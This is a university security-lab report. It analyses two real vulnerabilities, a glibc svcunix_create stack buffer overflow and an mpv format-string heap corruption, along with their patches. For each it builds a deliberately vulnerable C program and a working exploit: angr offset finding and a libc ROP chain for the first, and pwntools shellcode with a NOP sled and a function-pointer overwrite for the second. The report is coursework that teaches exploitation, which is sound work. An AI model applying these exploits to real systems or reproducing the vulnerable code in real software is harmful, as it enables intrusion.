TU Wien
Institut für Information Systems Engineering
Forschungsgruppe Industrial Software
Arbeitsgruppe ESSE
https://security.inso.tuwien.ac.at/

Report Lab1

Advanced Security for Systems Engineering VU

183.645 – WS 2022

20.11.2022

Team 07

Name	Matrnr.
Alexander Hurbean	01625747
Florian Haselsteiner	11808226
Jonas Konrad	11905148

Contents

1 Stackoverflow

1.1 General Information

- **Category** Stack-based Buffer Overflow
- **Difficulty** Medium
- **Real-World Vulnerability** CVE-2022-23218

1.2 Documentation Phase 1: Research Real-World Vulnerabilities

1.2.1 Links

- **Bugreport Bugzilla Sourceware** (Bug #28768)
- **GLibC Source (current)**
- **GLibC Source Tree (fixed)**
- **Fix Commit** (f545ad4928fa1f27a3075265182b38a4f939a5f7)
- **Fix Commit Diff**
- **Testcase/PoC**
- **Gentoo Linux Advisory**
- **Debian Mailing List Advisory**

- **MITRE CVE Entry**
- **NVD CVE Entry**
- **Redhat CVE Entry**
- **SYNK Vulnerbility DB Entry**

1.2.2 Analysis of the Vulnerability

This vulnerability in the GNU C Library is a classical stack-based buffer overflow in an old (and from what we read unused function) that purely exists for backward compatibility. The issue persisted in the file `svc_unix.c` in the `sunrpc` module.

The vulnerability happens in the function `svcunix_create`, which is responsible for create a new socket with the purpose of remote procedure calls to another system (SUN RPC).

```
1  SVCXPRT *
2  svcunix_create (int sock, u_int sendsize, u_int recvsize, char *path)
3  {
4    bool_t madesock = FALSE;
5    SVCXPRT *xprt;
6    struct unix_rendezvous *r;
7    struct sockaddr_un addr;
8    socklen_t len = sizeof (struct sockaddr_in);
9    ...
10   memset (&addr, '\0', sizeof (addr));
11   addr.sun_family = AF_UNIX;
12   len = strlen (path) + 1;
13   memcpy (addr.sun_path, path, len);
14   len += sizeof (addr.sun_family);
15   ...
16   return xptr;
17 }
```

Listing 1: Vulnerable Function

```
1  /* Structure describing the address of an AF_LOCAL (aka AF_UNIX) socket.  */
2  struct sockaddr_un
3    {
4      __SOCKADDR_COMMON (sun_);
5      char sun_path[108];   /* Path name.  */
6    };
```

Listing 2: Debian 5.10 `/usr/include/sys/un.h` Snippet

The issue that happens here can be seen in line 13 of the function code snippet, where the by parameter provided `char *path` is being copied with `memcpy` into the char buffer of `addr.sun_path`, without checking how long `path` is and whether it fits inside the `addr.sun_path`.

If we look up the header file where the struct `addr` is being defined we find its length to be defined by `UNIX_MATH_PATH` and being set to 108 characters (including `\0` terminator), as can be seen in the header snippet.

```
index f2280b4c49cfcbd83ea8fa00b54044b75eea32a9..67177a2e786d800cb7f98e725eb01f89a67e0f7f 100644 (file)
--- a/sunrpc/svc_unix.c
+++ b/sunrpc/svc_unix.c
@@ -154,7 +154,10 @@ svcunix_create (int sock, u_int sendsize, u_int recvsize, char *path)
   SVCXPRT *xprt;
   struct unix_rendezvous *r;
   struct sockaddr_un addr;
-  socklen_t len = sizeof (struct sockaddr_in);
+  socklen_t len = sizeof (addr);
+
+  if (__sockaddr_un_set (&addr, path) < 0)
+    return NULL;

   if (sock == RPC_ANYSOCK)
     {
@@ -165,12 +168,6 @@ svcunix_create (int sock, u_int sendsize, u_int recvsize, char *path)
       }
       madesock = TRUE;
     }
-  memset (&addr, '\0', sizeof (addr));
-  addr.sun_family = AF_UNIX;
-  len = strlen (path) + 1;
-  memcpy (addr.sun_path, path, len);
-  len += sizeof (addr.sun_family);
-
   __bind (sock, (struct sockaddr *) &addr, len);

   if (__getsockname (sock, (struct sockaddr *) &addr, &len) != 0
```

Listing 3: Patch f545ad4928fa1f27a3075265182b38a4f939a5f7 for the issue

```
int
__sockaddr_un_set (struct sockaddr_un *addr, const char *pathname)
{
  size_t name_length = strlen (pathname);

  /* The kernel supports names of exactly sizeof (addr->sun_path)
     bytes, without a null terminator, but userspace does not; see the
     SUN_LEN macro.  */
  if (name_length >= sizeof (addr->sun_path))
    {
      __set_errno (EINVAL);     /* Error code used by the kernel.  */
      return -1;
    }

  addr->sun_family = AF_UNIX;
  memcpy (addr->sun_path, pathname, name_length + 1);
  return 0;
}
```

Listing 4: glibc `socket/sockaddr_un_set.c` Snippet

Looking at the patch we can see that the faulty code has been replaced with a call to a new function called `__sockaddr_un_set` which takes the struct and the `char *path` and does the copy operation in a safe way. If we look up the function in the glibc code base we find it in `socket/sockaddr_un_set.c`, given in the listing.

1.2.3 Other Vulnerabilites considered

We looked at many vulnerabilities, but many of them turned out either a bit too hard to analyze/reproduce or not fitting for our exercise since there either was no source code (closed-source) or not even the maintainer knowing the reason why the vulnerability is happening, but supplying a "good-enough" patch, which fixed the issue.

Some examples of the vulnerabilities considered.

- **Espruino IoT Framework Stack-Based Buffer Overflow:** We were unsure how to exploit this issue, since it had some issue with recursion depth
- **Espruino IoT Framework Stack-Based Buffer Overflow:** Same Framework, we found the PoC too time-consuming to understand
- **PJSIP Multimedia Communication Library Stack-Based Buffer Overflow:** This one looked quite promising to us, but we decided against it, since the code around it was time-consuming to understand
- **VIM Editor Stack-Based Buffer Overflow:** We looked into this CVE, but didn't quite take the time to understand how the patch worked and decided against it
- **VIM Editor Stack-Based Buffer Overflow:** Again in VIM, a CVE from this year, we decided against, since not even Bram Moolenaar (the maintainer) can't find the real cause of the issue and the issue may have persisted even after the patch
- **MapServer Open Source Web Mapping Stack-Based Buffer Overflow:** We looked into this vulnerability but the codebase was hard to navigate/get so we decided against it. Additional we found out that a specially crafted file would is involved so we decided against it, since it would possbily be harder to create a similar program

1.3 Documentation Phase 2: Create Exemplary Vulnerable Program

We slightly changed the vulnerable function seen here: Unaltered function. We removed unneeded parameters, the return value and some lines that don't directly affect the vulnerability of the function. After these changes we were left with the following: Mocked function

We carefully removed only code that wouldn't change the layout of the stack (except the function parameters).

To mock the function call of the vulnerable function we just read from stdin, into a buffer on the heap, to not influence the stack and call svcunix_create_vuln with this buffer.

The vulnerability in both the simplified and original functions is the same: Ignoring the length of the target buffer and overflowing it. Importantly the amount of bytes copied from the input to the target buffer is determined by a call to strlen(...) (line 12 of Mocked function), in both the original and the mocked function. Which means that only payloads without Nullbytes are allowed.

1.4 Documentation Phase 3: Create Control-Flow Hijacking Exploit

Before we can start exploiting the program we had to first examine the constraints of our environment. Because we wanted to do a medium buffer overflow challenge we identified the following things:

1. The stack is not executable (W^X is enabled), therefore a ROP chain is needed to do a complex payload
2. ASLR is disabled
3. Stack canaries are disabled

Because ASLR is disabled we won't have to leak the location of our stack and code sections. Similarly we won't have to leak a canary to exploit Control-Flow Hijacking with a overwritten saved EIP.

But because W^X is enabled we can't just dump our payload on the stack and have to instead rely on ROP.

Our mocked vulnerable function is pretty small and has therefore not many viable gadgets. Luckily some libc functions are used within the mocked vulnerable functions and we can therefore use gadgets from libc instead. But we have to be careful to only use the libc shared object from the vagrant machine, because otherwise the offsets of used gadgets can be different.

After the careful evaluation of our target environment we laid out a plan to structure the exploit:

1. Find the relative position on the stack of the saved EIP (return address), relative to the start of the vulnerable buffer
2. Build a ROP chain that writes the needed strings to memory and calls the needed functions to prove that we successfully hijacked Control-Flow
3. Call the program with the crafted payload
4. Profit!

The first step (finding the relative position on the stack of the saved EIP) can be done ine many ways: manually, with gdb or symbolic execution

We chose to do it with angr, because we wanted to try it, can be more versatile (finding bofs even with input requirements) and because the variant with gdb was already shown in the lecture.

In the following listing the script that we used to find the relative offset to the saved EIP can be seen: Finding saved EIP with angr

Angr uses symbolic execution. In contrast to gdb where the instructions of the program are plainly executed,in angr for every variable that is set and every jump that is taken, a symbolic variable is created. Especially branches can be dangerous because the search space grows exponentially with every branch. Therefore when angr is used in practice, a fuzzer is used first to eliminate unreachable branches. But for our simple toy example this shouldn't be a problem. After angr explores all possible paths, a SAT solver (by default z3) is used to find a model that fulfills all the constraints.

In line 5 of Finding saved EIP with angr, we create a new symbolic variable and then tell angr in line 6, that this variable represents stdin (this is the variable that we want angr to evaluate at the end).

After that we instruct angr to find unconstrained paths (where the PC can be controlled), if angr encounters such a path we add a constraint to the model that the PC must be "ABCD". After angr completes evaluating all paths we instruct angr to give us a model which satisfies all constraints (In our case the PC must be "ABCD" at some point).

In line 31 we task angr to evaluate the contents of our symbolic variable that we created in the beginning.

Now we only have to find the location of the string "ABCD" within the generated stdin (which is done in line 31) and we have the offset of the saved EIP (return address), where the start of our ropchain begins.

Now that we have the first step of our exploit done we could focus on building a viable rop chain.

Because aslr is disabled, we can just infer the location of libc with the following snippet below (using pwntools).

```
1 exe = context.binary = ELF('vuln_stackoverflow-medium')
2 libc = exe.libc
3 base_libc = exe.maps[libc.path]
```

Listing 7: Libc location

We used the library angrop to search automatically for gadgets and used ROPgadget, to search manually for some of the needed gadgets.

Because the exercise description stated that we need to create a new file and write to it we came up with the following parts needed in the ropchain:

1. Write the path of the file to a memory location

2. Call the open function of glibc with the path and correct flags

3. Write the "success" string to memory

4. Call the write function of glibc with the pointer to the "success" string, the number of bytes to write and the filedescriptor as arguments (or as we did in the end use the write syscall instead)

5. Profit!

To find a viable location in memory to place the path of the file to, we opened the program with gef, ran it and then executed the command vmmap (which displays all loaded sections and their locations), and chose one of the RW sections that are used by the program as a temporary scratch memory.

The snippet below initializes angrop to search for gadgets within libc (the exact location of libc was found by using ldd). Of interest is the base address of libc that we determined earlier and the constraint on the payload that is set with the bad_bytes call. We instruct angrop to only generate payloads which don't have nullbytes or whitespace in them, because otherwise our payload would be cut short by the involved string functions of our vulnerable program.

```
1 #use libc i386 gadgets
2 p = angr.Project("/lib/i386-linux-gnu/libc.so.6",
3                  main_opts={'base_addr': libc_off})
4
5 rop = p.analyses.ROP()
6 #disallow whitespace in payload
7 rop.set_badbytes([0x00, 0x0A, 0x09, 0x0c, 0xd, 0x20])
```

Listing 8: Initialize angrop

The snippet below then generates a ROP payload that writes the path of the file we want to write to, to the scratch memory. Additional slashes have been added to pad the path to a word (4 byte boundary).

```
1 #0x804c055 is the scratch memory found by gef
2 temp_code = rop.write_to_mem(0x804c055, b"////home/privileged
    /stackoverflow-medium").payload_code()
```

Listing 9: Write memory ropchain

Because of the no null bytes constraint in the payload, we have to manually append a null terminator at the end of the string. (angrop unfortunately can't do this automatically)

```
1 chain += p32(code_base + xor_eax_eax)       # xor eax, eax;
     ret
2 chain += p32(code_base + mov_ecx_eax)       # mov ecx, eax;
     ret
3 chain += p32(code_base + pop_eax)           # pop eax
4 chain += p32(0x804c05d)                     # location of null
      terminator
5 chain += p32(code_base + 0x6ece4)           # mov dword ptr [
     eax], ecx; ret
```

Listing 10: Write null terminator ropchain

Now that we have completed step one we can continue to step two (calling open).

We can once again use angrop for this purpose:

```
1 temp_code = rop.func_call("open", [0x804c055, 0x01020241]).
     payload_code()
```

Listing 11: Call open in libc

The first argument to open is the path to the file and second are the flags. Because we want to write to the file and create it if it doesn't exist we need to specify the flags O_WRONLY and O_CREAT. Because of the nullbyte constraint I added some flags in the other bytes of the word which don't interfere with our intent. Because of that the flags parameter of open is 0x01020241.

The third step to attain our goal is to write the string success to memory.

We once again used angrop for this purpose:

```
1 temp_code = rop.write_to_mem(0x804c055, b"success").
     payload_code()
```

Listing 12: Write success to scratch memory ropchain

Next comes the last step: Using the write function of libc to write the "success" string to the filedescriptor we created with open.

The problem we encountered here is that creating a rop chain that pushes the needed arguments to the stack and then calls the libc function write is possible, but messes up the stack so that the program then segfaults afterwards. (We initially used a gadget that pushes three arguments and then calls eax) This version worked when observed within gdb or with strace but failed to write to the file when executed standalone.

We therefore implemented an alternative solution that calls the write syscall manually. This has the added benefit that because syscalls don't pass arguments by the stack but in registers, that we can append a cleanup ropchain afterwards.

The linux x86 calling convention for syscalls demands the syscall number in eax and the first three arguments in ebx,ecx and edx. For the syscall write this results in the following register allocation:

- EAX -> write = 4
- EBX -> fd = 3
- ECX -> *buf = 0x804c055
- EDX -> count = 7

FD is 3 because the first free file descriptor is 3 after (stdin,stdout,stderr). The buf parameter is the pointer to the success string. The count parameter is the length of the success string.

```
chain += p32(code_base + xor_eax_eax)
chain += p32(code_base + add_eax_3)
chain += p32(code_base + mov_edx_eax)
chain += p32(code_base + mov_ebx_edx)
chain += p32(code_base + pop_ecx_eax)
chain += p32(0x804c055)
chain += p32(0xffffffff)
chain += p32(code_base + xor_eax_eax)
chain += p32(code_base + add_eax_7)
chain += p32(code_base + mov_edx_eax)
chain += p32(code_base + mov_eax_4)
chain += p32(code_base + int80)
chain += p32(0xffffffff)*3 # int80 gadget pops three values
   from the stack
```

Listing 13: Call write syscall ropchain

The ropchain above sets the registers to their desired values and then uses a software interrupt gadget to initiate a syscall.

Afterwards we can add a ropchain to call exit with status code 0, so that our exploit exits cleanly.

```
chain += p32(code_base + xor_eax_eax)
chain += p32(code_base + mov_edx_eax)
chain += p32(code_base + mov_ebx_edx) # set ebx (status) to 0
    to indicate a clean exit
chain += p32(code_base + mov_eax_1)# exit is syscall number 1
    in x86 linux
chain += p32(code_base + int80)
```

Listing 14: Cleanup ropchain

The last step is to execute our ropchain with pwntools and we are done. Importantly we need to place the ropchain at the location of the saved EIP (pointer_offset), that we determined earlier with angr.

```
1 chan = process(elf_binary)
2 chan.sendline(pointer_offset*b"a"+chain)
```

Listing 15: Execute payload

2 Heapcorruption

2.1 General Information

- **Category** Heap Corruption (and Format-String Vulnerability)
- **Difficulty** Entry
- **Real-World Vulnerability** CVE-2021-30145

2.2 Documentation Phase 1: Research Real-World Vulnerabilities

2.2.1 Links

- **MITRE CVE Entry**
- **Fix Commit**
- **Github CVE Docu Page**
- **Writeup and POC**
- **National Vulnerability Database**

2.2.2 Analysis of the Vulnerability

The vulnerable program is the MPV Open Source media player. The CVE-2021-30145 describes a formatstring vulnerability (and further a heapcorruption) in the file `demux/demux_mf.c` (and the custom tree allocator `mpv/ta/ta.c`). The Vulnerable function is `*open_mf_pattern`, it is used when a URL is provided for the custom protocol handler `mf://`. The function call takes three arguments whereas the third argument being `filename`, which can be an URL. This argument is user controlled and in the function used within a call to the function `sprintf`.

As one can see in the function code snippet the filename variable gets only checked to match the following conversions:

- filename does not start with '@'
- filename does not contain ','
- filename contains at least one '

If filename follows these conversions the programflow brings it to the `sprintf` function call without further sanitizing user input. Due to the nature of the `sprintf` function call the line 27 in the function code snippet is vulnerable, since if for instance one were to include `%100c` the target buffer (which is only allocated for the size of the given user input string in line 24 `strlen(filename)+ 32`) would be overrun, leading to a heap corruption. In the given writeup it is explained, how overrunning the heap buffer into the tree allocator header of the next chunk could be used to override the destructor function pointer and thus get control of program execution when the deallocation of said chunk is happening later down the line.

In the given patch we can read that they now more strictly evaluate the string that comes in and use `snprintf` to avoid copying more than the target buffer has space.

2.2.3 Other Vulnerabilites considered

We found some Vulnerabilities. Not all of them were useful for the assignment, since some where disputed, some did not have a patch yet, or the source code was not available.

Some examples of the vulnerabilities considered.

- **A format string vulnerability was found in libinput:** By the time we started the assignment there was no patch available yet. Therefore we did further research.
- **In Tcl 8.6.11, a format string vulnerability in nmakehlp.c might allow code execution via a crafted file.:** This CVE was disputed. And as stated by the contributors, the security relevance was negligible.
- **A Python format string issue leading to information disclosure and potentially remote code execution in ConsoleMe for all versions prior to 1.2.2:** A python vulnerability would not workout for the assignment.

2.3 Documentation Phase 2: Create Exemplary Vulnerable Program

The vulnerable program, seen in the listing takes in the the input through the program arguments and runs the vulnerable function. Next in line 9 we allocate a buffer on the heap using malloc that is just as large as the input string and then allocate the struct

also on the heap. The ordering here is important, since the struct needs to be after the string buffer, so we can overflow the pointer that is inside the struct.

Next in line 11 we copy the input string into the newly allocated buffer that is on the heap. Here is where the format string exploit would do the work to overflow the buffer on the heap and override the function pointer.

To this end, in line 12 and 13 we check if the function pointer is set and call the function if there is a function pointer. This should never be possible under normal instances, but if we manage to overflow the buffer, we can take control of the `eip`.

In our vulnerable program we create an environment that is similar to the one in mpv. The string which is technically large enough to store the input string followed by some chunk with a struct that has a function pointer in the heap. We then do the same vulnerable `sprintf` operation which allows a malicious user to overflow the heap buffer into the struct. To simulate the "deallocation" we just call the function if we successfully changed it.

In contract to the original vulnerability we didn't really bother to import the `ta.c` since we can just reproduce how it would look. Also we have left out all of the other checks, since they would not change much about the exploit. Our program is in our opinion a good reconstruction of the vulnerability in as little code as possible.

2.4 Documentation Phase 3: Create Control-Flow Hijacking Exploit

The first couple of steps were very manual, running the program in `GDB` and looking at various inputs and how we can use the format string vulnerability. Initially we tried to solve a medium difficulty format string vulnerability, but since we were writing to buffer onto the heap, we decided to solve a entry level heap corruption.

We have tried many things, for example to run ROP chains, but since we didn't really have control over the `esp` or `ebp` we just decided it would be easier to use the control of the `eip` to divert into shellcode that we already have in the stack in form of `argv[1]`.

The result of our manual testing is the exploit code found in the listing part 1 and listing part 2 for the exploit.

The exploit first generates a shellcode, which does a `open` syscall and then followed by `write` on the given file and `exit` to cleanly exit the program. As can be seen, it writes the file `heap-hehe.txt` with the string `"success"`. We have also used a nop sled, since we couldn't quite find the address of `argv[1]` with gdb exactly and have to make a good guess. It seems that argv moves a little bit between program executions in different environments, so we decided make it simpler for us and use a nop sled to be able to more easily land into the shell code.

In the next part of the listing we automate the task of finding the right padding for the buffer to overrun the string buffer into the function pointer. To this end we use `gdbmi` to instrument `gdb` and try different paddings for the `%PADc` format string which gets

appended to the shell code. After shell code and format string we also have to include the address which needs to override the function pointer, in this case we use `BBBB` to be able to test if we have the right padding. This part of the script is just the automation of what we did manually in the beginning, so we can adjust other things and have the right padding at hand.

After we have the right right padding we need to find the right value for `argv[1]` which is where our shellcode is on the stack, so we can set the function pointer of the `ta_header` struct into the shellcode which resides on the stack. To this end we use `gdb` again and set a breakpoint at main and read the result of `p argv[1]`. We encode the read address `+ 0x20` so we land into the nop sled somewhere and jump over `argv[0]` just in case things shifted and pack everything in the following order:

1. shellcode to write to the file
2. padding format string to overrun the heap buffer
3. address which points somewhere into the nop sled on the stack

We also save this to a file, just in case we want to manually run in `gdb` or without running the script and then execute the payload. If everything worked out, we know have a file inside the given directory with the `"success"` string.

Our general process was a lot debugging in `gdb`, looking at the stack/heap/registers and seeing how different format string behave. We have also tried to do ROP but failed, since we were only able to execute one singular ROP gadget and couldn't find anything suitable to start a ROP chain from the heap. As already stated we initially wanted to solve a medium format string exercise, but pivoted around and solved this as a heap corruption exercise, since this vulnerability is a combination of both.

The given shellcode was taken from the lecture examples, adjusted accordingly and manually tested via `gdb` directly inside the vulnerable program.

Although we thought that it might be quite easy to solve the exercise as a heap corruption entry, it still took quite a bit of time to get everything just right to get the exploit right, as can be seen with the nop sled for example.

```c
int
void svcunix_create_vuln(char *path)
{
  bool_t madesock = FALSE;
  SVCXPRT *xprt;
  struct unix_rendezvous *r;
  struct sockaddr_un addr;
  socklen_t len = sizeof(struct sockaddr_in);

  memset(&addr, '\0', sizeof(addr));
  addr.sun_family = AF_UNIX;
  len = strlen(path) + 1;
  memcpy(addr.sun_path, path, len);
}

int main(int argc, char **argv)
{
  char* input_buffer = (char*)malloc(500);
  scanf("%499s", input_buffer);

  svcunix_create_vuln(input_buffer);
  free(input_buffer);
  return 0;
}
```

Listing 5: Mocked function

```
elf_binary = "vuln_stackoverflow-medium"
p = angr.Project(elf_binary, load_options={'auto_load_libs': False})


argv1 = claripy.BVS("argv1", 8*500)
state = p.factory.entry_state(args=[elf_binary], stdin=argv1)
state.libc.buf_symbolic_bytes = 0x200
state.libc.max_variable_size = 0x200
# our string can be bigger than the default of 128, only at around 140bytes will the bof trigger
state.libc.max_str_len = 205

simgr = p.factory.simulation_manager(state, save_unconstrained=True)
simgr.stashes['mem_corrupt'] = []

def check_mem_corruption(simgr):
    if len(simgr.unconstrained):
        for path in simgr.unconstrained:
            if path.satisfiable(extra_constraints=[path.regs.pc == b"ABCD"]):
                path.add_constraints(path.regs.pc == b"ABCD")
                if path.satisfiable():
                    simgr.stashes['mem_corrupt'].append(path)
                simgr.stashes['unconstrained'].remove(path)
                simgr.drop(stash='active')
    return simgr

simgr.explore(step_func=check_mem_corruption)

#find corrupt execution with unbounded path
ep = simgr.mem_corrupt[0]
#get input string that caused it
input = ep.solver.eval(argv1,cast_to=bytes)
#find unbounded pointer within input string
pointer_offset = input.find(b"ABCD"[::-1])

#
print("offset",pointer_offset)
```

Listing 6: Using angr to find the saved EIP offset on stack

```
static mf_t *open_mf_pattern(void *talloc_ctx, struct demuxer *d, char *filename)
{
    struct mp_log *log = d->log;
    int error_count = 0;
    int count = 0;
    ...
    if (filename[0] == '@') {
            ...
            goto exit_mf;
            ...
        mp_info(log, "%s is not indirect filelist\n", filename + 1);
    }
    if (strchr(filename, ',')) {
        ...
        mp_info(log, "number of files: %d\n", mf->nr_of_files);
        goto exit_mf;
    }
#if HAVE_GLOB
    if (!strchr(filename, '%')) {
        ...
        goto exit_mf;
    }
#endif
    char *fname = talloc_size(mf, strlen(filename) + 32);
    mp_info(log, "search expr: %s\n", filename);
    while (error_count < 5) {
        sprintf(fname, filename, count++);
        if (!mp_path_exists(fname)) {
            error_count++;
            mp_verbose(log, "file not found: '%s'\n", fname);
        } else {
            mf_add(mf, fname);
        }
    }
    mp_info(log, "number of files: %d\n", mf->nr_of_files);
    exit_mf:
        return mf;
}
```

Listing 16: Vulnerable Function

```
diff --git a/demux/demux_mf.c b/demux/demux_mf.c
index 424821b965f..40f94f4e4ed 100644
--- a/demux/demux_mf.c
+++ b/demux/demux_mf.c
@@ -121,7 +121,8 @@ static mf_t *open_mf_pattern(void *talloc_ctx, struct demuxer *d, char *filename
         goto exit_mf;
     }

-    char *fname = talloc_size(mf, strlen(filename) + 32);
+    size_t fname_avail = strlen(filename) + 32;
+    char *fname = talloc_size(mf, fname_avail);

 #if HAVE_GLOB
     if (!strchr(filename, '%')) {
@@ -148,10 +149,44 @@ static mf_t *open_mf_pattern(void *talloc_ctx, struct demuxer *d, char *filename
     }
 #endif

+    // We're using arbitrary user input as printf format with 1 int argument.
+    // Any format which uses exactly 1 int argument would be valid, but for
+    // simplicity we reject all conversion specifiers except %% and simple
+    // integer specifier: %[.][NUM]d where NUM is 1-3 digits (%.d is valid)
+    const char *f = filename;
+    int MAXDIGS = 3, nspec = 0, bad_spec = 0, c;
+
+    while (nspec < 2 && (c = *f++)) {
+        if (c != '%')
+            continue;
+        if (*f != '%') {
+            nspec++;  // conversion specifier which isn't %%
+            if (*f == '.')
+                f++;
+            for (int ndig = 0; mp_isdigit(*f) && ndig < MAXDIGS; ndig++, f++)
+                /* no-op */;
+            if (*f != 'd') {
+                bad_spec++;  // not int, or beyond our validation capacity
+                break;
+            }
+        }
+        // *f is '%' or 'd'
+        f++;
+    }
+
+    // nspec==0 (zero specifiers) is rejected because fname wouldn't advance.
+    if (bad_spec || nspec != 1) {
+        mp_err(log, "unsupported expr format: '%s'\n", filename);
+        goto exit_mf;
+    }
+
     mp_info(log, "search expr: %s\n", filename);

     while (error_count < 5) {
-        sprintf(fname, filename, count++);
+        if (snprintf(fname, fname_avail, filename, count++) >= fname_avail) {
+            mp_err(log, "format result too long: '%s'\n", filename);
+            goto exit_mf;
+        }
         if (!mp_path_exists(fname)) {
             error_count++;
             mp_verbose(log, "file not found: '%s'\n", fname);
```

Listing 17: Patch d0c530919d8cd4d7a774e38ab064e0fabdae34e6 for the issue

```c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

struct ta_header { void (*destructor)(); };

void open_mf_pattern(char *filename) {
  char *fname = malloc(strlen(filename));
  struct ta_header *h = malloc(sizeof(struct ta_header));
  sprintf(fname, filename);
  if(h->destructor)
    h->destructor();
}

int main(int argc, char **argv) {
  if (argc > 1)
    open_mf_pattern(argv[1]);
  return 0;
}
```

Listing 18: Vulnerable Program

```python
from pwn import *
from pygdbmi.gdbcontroller import GdbController

exe = context.binary = ELF('vuln_heapcorruption-entry')

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)


# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())


# stack-based shellcode that locates a string parameter and writes it to a file
#
target_file = "/home/privileged/heap-hehe.txt"
string_param = "success"

shellcode = "\t/* nop sled */ \n" + "\tnop\n"*100 + "\n"
shellcode += "\t/* adjust %esp */ \n" + "\tsub esp, 100\n"*10 + "\n"
shellcode += '\tjmp get_str\n'
shellcode += 'pop_str: \n\tpop esi\n'
shellcode += shellcraft.open(target_file, constants.O_CREAT |
                             constants.O_RDWR, constants.S_IRWXU)
shellcode += '\tpush eax  /* store fd */\n'
shellcode += shellcraft.write(fd='eax', buf="esi", n=len(string_param))
shellcode += '\tpop ebx /* retrieve fd */\n'
shellcode += shellcraft.exit()
shellcode += '\nget_str: \n\tcall pop_str\n'
shellcode += '\t.asciz "' + string_param + '"\n\n'

log.info("Crafted the following shellcode: \n%s" % shellcode)

encoded = asm(shellcode)
log.info("Disassembled shellcode: \n %s\n" % disasm(encoded))

# Test shellcode
#
p = log.progress("Test running shellcode ...")
q = run_shellcode(encoded)
q.wait_for_close()
q.poll()

if os.path.isfile(target_file):
    p.success("Successful!")
    os.unlink(target_file)
else:
    p.failure("Shellcode failed.")
```

Listing 19: Exploit Heapcorruption Part 1

```python
# Testing crashes to get the fp overriden
sigsevd = False
padding = 21
eip = ""
p = log.progress(
    "Finding correct format string padding for heap corruption...")
while(eip != '0x42424242'):
    sigsevd = False
    postfix_payload = f"%{padding}cBBBB"
    #log.info(f"Testing additional payload: {postfix_payload}")
    gdbmi = GdbController()
    gdbmi.write("-file-exec-file " + exe.path)
    arg = flat(encoded[:-1]) + postfix_payload.encode()
    with open("poc", "wb") as f:
        f.write(arg)
    p.status(f"Running with payload\n{hexdump(arg)}")
    gdbmi.write("-exec-arguments $(cat poc)")
    resp = gdbmi.write("run")
    if resp[-1]['payload'].get('signal-name', "") == 'SIGSEGV':
        sigsevd = True
        eip = resp[-1]['payload']['frame']['addr']
        p.status(f"Sigsevd with eip {eip}")
        if eip == "0x42424242":
            break
        if "20" in eip:
            p.status(f"20 found, lowering by 1: {padding}")
            padding -= 1
        elif "42" in eip:
            p.status(f"42 found, lowering by 1: {padding}")
            padding -= 1
        else:
            p.status(f"no 20 found, increasing by 1: {padding}")
            padding += 1
    else:
        p.status(f"no sigseg, increasing by 10: {padding}")
        padding += 10

p.success(f"Padding {padding} works to crash with eip {eip}")

log.info("Reading address of argv[1]")
gdbmi = GdbController()
arg = flat(encoded[:-1]) + postfix_payload.encode()
with open("poc", "wb") as f:
    f.write(arg)
gdbmi.write("file " + exe.path)
gdbmi.write("break *main")
gdbmi.write("run $(cat poc)")
resp = gdbmi.write("p argv[1]")

target_addr = p32(int(resp[1]["payload"].split(" ")[2], 16) + 0x20)
padding = f"%{padding}c"

# Send exploit payload to process
#

payload = flat(encoded[:-1], padding, target_addr)
with open("poc", "wb") as f:
    f.write(payload)
log.info("Exploit payload: \n%s" % hexdump(payload))
log.info("Target file is %s" % target_file)
io = start([payload])

io.wait_for_close(timeout=100000)
```

Listing 20: Exploit Heapcorruption Part 2